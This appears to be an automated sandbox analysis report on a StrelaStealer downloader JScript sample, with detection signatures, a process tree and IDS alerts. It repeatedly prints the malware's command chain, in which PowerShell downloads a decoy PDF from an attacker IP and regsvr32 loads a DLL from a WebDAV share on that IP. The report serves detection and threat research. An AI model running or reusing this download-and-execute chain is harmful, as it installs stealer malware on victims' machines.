Edit tour

Windows Analysis Report
6515707756641447.js

Overview

General Information

Sample name:	6515707756641447.js
Analysis ID:	1588526
MD5:	0f771f34165bbd2cf43cab82cd6f3399
SHA1:	07bc628e52049b319041158a3124011157b91b55
SHA256:	9fceecaa1c86fca58083e6322896b6a8ffc16db54260ef4b2d3e41381a9e71d5
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6116 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6515707756641447.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6688 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6324 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1216 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1600 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1540 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1692,i,2389882996813932257,13310602110821749227,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2496 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6436 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5860 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6116	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6688, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6324, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6688, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6324, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6515707756641447.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6515707756641447.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6515707756641447.js", ProcessId: 6116, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6436, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49722

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6515707756641447.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, ProcessId: 6688, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6515707756641447.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, ProcessId: 6688, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6515707756641447.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, ProcessId: 6688, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6515707756641447.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, ProcessId: 6688, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6515707756641447.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, ProcessId: 6688, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6515707756641447.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6515707756641447.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6515707756641447.js", ProcessId: 6116, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6688, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6324, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2496, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6436, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5860, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2496, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6436, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6515707756641447.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll, ProcessId: 6688, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:05:14.358385+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:05:16.858474+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49722	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:05:14.358385+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 6515707756641447.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 6515707756641447.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49711 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49722 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:05:14 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 63 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49722

Source: global traffic

